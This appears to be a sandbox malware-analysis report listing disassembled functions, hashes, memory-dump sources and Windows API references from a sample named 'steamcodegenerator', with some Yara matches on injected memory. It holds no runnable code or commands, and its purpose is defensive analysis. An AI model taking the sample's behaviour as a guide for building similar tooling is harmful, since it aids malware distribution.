Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 415bcb294c056d98af3462750d7d188cc4b1afdd892eeae8a2ee088bcffb3ecf
Instruction ID: 464c361d8b242e019a75c800d554d7e461c7368b423b11eca8e016924ad658de
Opcode Fuzzy Hash: 415bcb294c056d98af3462750d7d188cc4b1afdd892eeae8a2ee088bcffb3ecf
Instruction Fuzzy Hash: 4201A720B08A81C5E7409B47B8050AAB3B0EF85BD0F548036EE5DBBB65CE3CF5418340

Function 00007FF66355408C Relevance: 1.9, APIs: 1, Instructions: 373COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF6635541D4

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 5941f4e66f4a4ae4ea8d9f2ce51bef13bf4df362b0d1e962feb6320bd1209b36
Instruction ID: 989953ef61efd0282c08b3a2f9b4a33deca3e31760f86b11cde2802b8f92e0c8
Opcode Fuzzy Hash: 5941f4e66f4a4ae4ea8d9f2ce51bef13bf4df362b0d1e962feb6320bd1209b36
Instruction Fuzzy Hash: 84128872A08BC1C6E751CF2894462F973A4FB69758F059235EE9D9B792EF38E194C300

Function 00007FF66356203C Relevance: 1.8, APIs: 1, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce188c6723de416a60445d936ccf2b71249bd4acdd477d6696f92839183b5057
Instruction ID: 94a7371d687d6e033f12f7def6ff9044cca38949486d08126727ee8082b2b551
Opcode Fuzzy Hash: ce188c6723de416a60445d936ccf2b71249bd4acdd477d6696f92839183b5057
Instruction Fuzzy Hash: 29E14F32A04B81C6E720DB61E4416EE67B4FB95798F404635DF8EA7B56EF78E245C300

Function 00007FF663560478 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8fdce93d0982d34daabacb749a03f63f2871ed28a5675a9677f348b7d655c88
Instruction ID: ef5b2eda8ae6a2087b0053ac83a7085df0af259060de205dcf4d2f47e0569417
Opcode Fuzzy Hash: f8fdce93d0982d34daabacb749a03f63f2871ed28a5675a9677f348b7d655c88
Instruction Fuzzy Hash: 0C51B222B08691C5FB209B72A8455AE7BB1FB457A4F144235EE5DBBBA9DE3CD401C700

Function 00007FF6635641E8 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF66355A298: GetLastError.KERNEL32 ref: 00007FF66355A2A7
Part of subcall function 00007FF66355A298: FlsGetValue.KERNEL32 ref: 00007FF66355A2BC
Part of subcall function 00007FF66355A298: SetLastError.KERNEL32 ref: 00007FF66355A347

Part of subcall function 00007FF66355A298: FlsSetValue.KERNEL32 ref: 00007FF66355A2DD

GetLocaleInfoW.KERNEL32 ref: 00007FF663564250

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ErrorLastValue$InfoLocale
String ID:
API String ID: 673564084-0
Opcode ID: 4c183c7ee8845e7f1e29b7170d50f5209d966a7f82c8ce190a7d309a0b29ac7e
Instruction ID: c15c62143dae59d6a0a24b3340f01526ee64fd447d790cf5d6184777d5a0e35b
Opcode Fuzzy Hash: 4c183c7ee8845e7f1e29b7170d50f5209d966a7f82c8ce190a7d309a0b29ac7e
Instruction Fuzzy Hash: 5731C472A08682C6EB648B22E4523BA73B0FB45740F544134DA4EEB7A5DF3CE4548700

Function 00007FF663563E38 Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF66355A298: GetLastError.KERNEL32 ref: 00007FF66355A2A7
Part of subcall function 00007FF66355A298: FlsGetValue.KERNEL32 ref: 00007FF66355A2BC
Part of subcall function 00007FF66355A298: SetLastError.KERNEL32 ref: 00007FF66355A347

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF663564627,?,00000000,00000092,?,?,00000000,?,00007FF663556B25), ref: 00007FF663563ED6

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 01ec781091376c7859fee142802df2496de0f58f2f8dfee6d425d5d006462899
Instruction ID: 31e15cc4571264136afc9c60ca99dcb511e4a8873a74e388b48ea001b498caa9
Opcode Fuzzy Hash: 01ec781091376c7859fee142802df2496de0f58f2f8dfee6d425d5d006462899
Instruction Fuzzy Hash: C511E167A08645CAEB158F16D8816BD7BB0FB81FA0F448135C62A9B3F0CE78D9D1C750

Function 00007FF6635643F0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF66355A298: GetLastError.KERNEL32 ref: 00007FF66355A2A7
Part of subcall function 00007FF66355A298: FlsGetValue.KERNEL32 ref: 00007FF66355A2BC
Part of subcall function 00007FF66355A298: SetLastError.KERNEL32 ref: 00007FF66355A347

GetLocaleInfoW.KERNEL32(?,?,?,00007FF66356419A), ref: 00007FF663564427

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ErrorLast$InfoLocaleValue
String ID:
API String ID: 3796814847-0
Opcode ID: 5447dec9b86e6f2ea6977062d9d6cdf6f0dba6f956cb56fba477a354d03ee583
Instruction ID: 2217ffefd5ca119f3eb26ff587e72ec52c50f5c97bb060bbbb97ce13548a26ff
Opcode Fuzzy Hash: 5447dec9b86e6f2ea6977062d9d6cdf6f0dba6f956cb56fba477a354d03ee583
Instruction Fuzzy Hash: 8D117A72F18512C3E7748B27A05367E23B1EB45761F144231D66DAB7D4DE29D8818700

Function 00007FF663563F08 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF66355A298: GetLastError.KERNEL32 ref: 00007FF66355A2A7
Part of subcall function 00007FF66355A298: FlsGetValue.KERNEL32 ref: 00007FF66355A2BC
Part of subcall function 00007FF66355A298: SetLastError.KERNEL32 ref: 00007FF66355A347

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF6635645E3,?,00000000,00000092,?,?,00000000,?,00007FF663556B25), ref: 00007FF663563F86

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 34d94b69e6205fce2f74fcc9f7c432e85abed7b203d1d4e603842b48bd0e59d7
Instruction ID: 8b8fdddddd503d1efcccd98a721aeb267e9ee16b9f455bf8a7f4bfe31d532a90
Opcode Fuzzy Hash: 34d94b69e6205fce2f74fcc9f7c432e85abed7b203d1d4e603842b48bd0e59d7
Instruction Fuzzy Hash: B5019272E08282C6EB104B17E8417B9B6B5EB51BA4F459232E6299B3E5DF7D94818700

Function 00007FF66355B378 Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF66355B7C7,?,?,?,?,?,?,?,?,00000000,00007FF663563488), ref: 00007FF66355B3C7

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: cff3fbf4e0a8c1f2ed818e2cbe172fd1e753f0025c3aa3cb7564e8ccb7c4537e
Instruction ID: c3fcdfeb60b41d4026b0e4c3cd188970f2ddf1822389934ff9c5f16fc018522d
Opcode Fuzzy Hash: cff3fbf4e0a8c1f2ed818e2cbe172fd1e753f0025c3aa3cb7564e8ccb7c4537e
Instruction Fuzzy Hash: B7F03C72B08B45C3E704DB19F8921AA23B1FB99780F549035EA4DEB365CE3CE5518740

Function 00007FF66355F008 Relevance: 1.4, APIs: 1, Instructions: 137COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF66355F0AD

Part of subcall function 00007FF663558A7C: HeapAlloc.KERNEL32(?,?,00000000,00007FF66355A472,?,?,00001E36F50DF55B,00007FF663554851,?,?,?,?,00007FF66355F7CA,?,?,00000000), ref: 00007FF663558AD1

Part of subcall function 00007FF663558AF4: HeapFree.KERNEL32(?,?,00007FF663557CF3,00007FF6635628CA,?,?,?,00007FF663562C47,?,?,00000000,00007FF663563185,?,?,?,00007FF6635630B7), ref: 00007FF663558B0A
Part of subcall function 00007FF663558AF4: GetLastError.KERNEL32(?,?,00007FF663557CF3,00007FF6635628CA,?,?,?,00007FF663562C47,?,?,00000000,00007FF663563185,?,?,?,00007FF6635630B7), ref: 00007FF663558B14

Part of subcall function 00007FF66356641C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF66356644F

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ErrorHeapLast$AllocFree_invalid_parameter_noinfo
String ID:
API String ID: 916656526-0
Opcode ID: 3010b15ffcd90dc3c5e11d2ab062aefea6c4980bf83277aeeb3b0d4140d9f5ca
Instruction ID: 0bd24aae8db559960410b3980dc5355edb5d7daf9a982c6569c3d250bf1966f9
Opcode Fuzzy Hash: 3010b15ffcd90dc3c5e11d2ab062aefea6c4980bf83277aeeb3b0d4140d9f5ca
Instruction Fuzzy Hash: 9F41A431B19683C2FA609A26E9537BAA2F16F857A0F445535EE4DEF785EE3CF4018700

Function 00007FF66356483C Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF663564840

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 6192be7a75bab5d09286e1907ab1535ba3ae8895899e3a88e776268eb0ac952a
Instruction ID: 9f2fd52a1f978f875cca2e43d208abe5a9f4f7e311be2286eb7017636e3148fa
Opcode Fuzzy Hash: 6192be7a75bab5d09286e1907ab1535ba3ae8895899e3a88e776268eb0ac952a
Instruction Fuzzy Hash: BCB09221E0BB46C2EA486B526C8321422B4BF58710F988038D14CAA320EE2C20A54701

Function 0000022AF4E16AB7 Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3629921626.0000022AF4E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022AF4E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22af4e10000_steamcodegenerator.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 958daa2a7498e9c4c0bde3b5edfdcbb4db2551368d5f8b4b3812ff5c91696324
Instruction ID: 6832a3cc0b25633fabd8739102348b4cd50d0f29daa53c2fc1513d6c4ea8771d
Opcode Fuzzy Hash: 958daa2a7498e9c4c0bde3b5edfdcbb4db2551368d5f8b4b3812ff5c91696324
Instruction Fuzzy Hash: E4E17730718A499BDB68DF78C8897EEB7E5FB98705F00422DD94AC3640DF35E9158B82

Function 0000022AF4E17D6F Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3629921626.0000022AF4E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022AF4E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22af4e10000_steamcodegenerator.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a66aa8eccb36b3c863fa0cf2326f118ce4658279e53cce5a51b176019e00911a
Instruction ID: e5128584c48c94cc193d20cc1e8ab6d0d5803c71700cd984fddd846d9f5e6c43
Opcode Fuzzy Hash: a66aa8eccb36b3c863fa0cf2326f118ce4658279e53cce5a51b176019e00911a
Instruction Fuzzy Hash: 14D16E31608A088FDB59DF28C889AEAB7E1FF98310F14462DE88BC7555EF35E541CB42

Function 00007FF663556974 Relevance: .3, Instructions: 309COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValidValue_invalid_parameter_noinfo
String ID:
API String ID: 4023145424-0
Opcode ID: 892cc1368fc14e84ac0355cad1cb2199747d5964f06703ea1faf111155d2dc5e
Instruction ID: 11a8eebbe1c8164429367d1ae29fe667ac77e80691331572c64d65a11170b572
Opcode Fuzzy Hash: 892cc1368fc14e84ac0355cad1cb2199747d5964f06703ea1faf111155d2dc5e
Instruction Fuzzy Hash: 96C18F76A087C2C5EB609B6194123BA67B0FB947A8F409035DE4EEBB95EE3CF545C700

Function 00007FF663550FD4 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544cec4f1fce81e20c5dc2a100fe106bde7a3ffc9f232f4ad8d78bd217c1061b
Instruction ID: f1c9ceb76c4231ec576588219ea0dab8064ec533796095be78048196278711e8
Opcode Fuzzy Hash: 544cec4f1fce81e20c5dc2a100fe106bde7a3ffc9f232f4ad8d78bd217c1061b
Instruction Fuzzy Hash: 24C1A032A08646C6EF68CF26C45167D2BB0EB45B68F144235CE1DABB95DF39FA41C740

Function 0000022AF4E18C53 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3629921626.0000022AF4E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022AF4E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22af4e10000_steamcodegenerator.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75c19430ad9555f9ce9cd9ae4dcbb2ad4329e1d612567e8c7bcd07260438a972
Instruction ID: ebf9b5f8bd18b25826a7cb69aad7ccda38086e16fa65d626eb8fe3e6e437439d
Opcode Fuzzy Hash: 75c19430ad9555f9ce9cd9ae4dcbb2ad4329e1d612567e8c7bcd07260438a972
Instruction Fuzzy Hash: 01A14D31508A0C8FDB55EF68C889BEA77E5FBA8315F10426EE84AC7560EB34D644CB81

Function 00007FF66356354C Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ErrorLast$Value_invalid_parameter_noinfo
String ID:
API String ID: 1500699246-0
Opcode ID: e2ffca55289955cad0152be945083cfc4f4c9dbb8a5636975514020bfa88af06
Instruction ID: ed29dc04142b0fd70811dbcbcb1862ef58ec2d60a6bad632f16ae3460dd2c2a5
Opcode Fuzzy Hash: e2ffca55289955cad0152be945083cfc4f4c9dbb8a5636975514020bfa88af06
Instruction Fuzzy Hash: 21B12472A18646C6EB649F22D8126BA33B0FB81B98F404235DA1DEB7E5DF3CE551C740

Function 00007FF6635521E8 Relevance: .2, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: beb85e8a86863ea0d2a3640763483ded5549c817e49d63ce28143ff9a2fe482d
Instruction ID: d0ee81d806150ceab349ab69fdb728395a3d23290bf929f1cc5c02b242569272
Opcode Fuzzy Hash: beb85e8a86863ea0d2a3640763483ded5549c817e49d63ce28143ff9a2fe482d
Instruction Fuzzy Hash: 2A819032B05A55C6EB64CE65D49237D2370FB44BA8F548636EE6EEBB95CF38E0418300

Function 00007FF66355980A Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd78b8a88bf6096c80a61e6aa1672cbc30d8af44914a7a383a5bb521698ea26c
Instruction ID: 4ad74a15cf65f6a59774f218f5112c34a63b3ed4a521d54cabd22c7a5fb46fe0
Opcode Fuzzy Hash: dd78b8a88bf6096c80a61e6aa1672cbc30d8af44914a7a383a5bb521698ea26c
Instruction Fuzzy Hash: 7B51C4B2A0C78185EB74CB19D44237AA6B1FB457E0F444235DA9E9BB99DF3DF5008B00

Function 0000022AF4E51F00 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3629964375.0000022AF4E51000.00000020.10000000.00040000.00000000.sdmp, Offset: 0000022AF4E51000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22af4e51000_steamcodegenerator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c983a2938cf48172002bf867be787710d5e0ba9960fdfd4591bd0f51ee9138b
Instruction ID: f62d258c1bf4544a26f9188ce07b39fb7a1edee2c9af8f91e39391fe98be572f
Opcode Fuzzy Hash: 1c983a2938cf48172002bf867be787710d5e0ba9960fdfd4591bd0f51ee9138b
Instruction Fuzzy Hash: 8D4190317145058FEB0CCE2DD995AA5B3E2FB99304F48C3BDE54BCB69BDA359802CA44

Function 00007FF663550414 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9c3f90e6787dc6e65e60abd648d80575bcfa0207306300bab00d1ff848a11e7
Instruction ID: 77af43acad3bd9ad6c2a00015c0a1219597cb831f7cf11df5b58da84dad674fb
Opcode Fuzzy Hash: c9c3f90e6787dc6e65e60abd648d80575bcfa0207306300bab00d1ff848a11e7
Instruction Fuzzy Hash: EB514D76A18651C6EB248F29D04523937B1EB44B6CF248132CE8DAB795DF3AF853C740

Function 00007FF663550210 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45278502b4de115ed76afef2690a2838d0b28876f14c66dd069eb4612fa83dd3
Instruction ID: 824ce28063c557778fd1fee88bcad250971e2ab1094a281fe4953dcfb6b28cfa
Opcode Fuzzy Hash: 45278502b4de115ed76afef2690a2838d0b28876f14c66dd069eb4612fa83dd3
Instruction Fuzzy Hash: 29518F36A18651C6EB648B29C04623D27B0FB54B6CF254132CE4DAB799CF3AF843C780

Function 00007FF66355000C Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

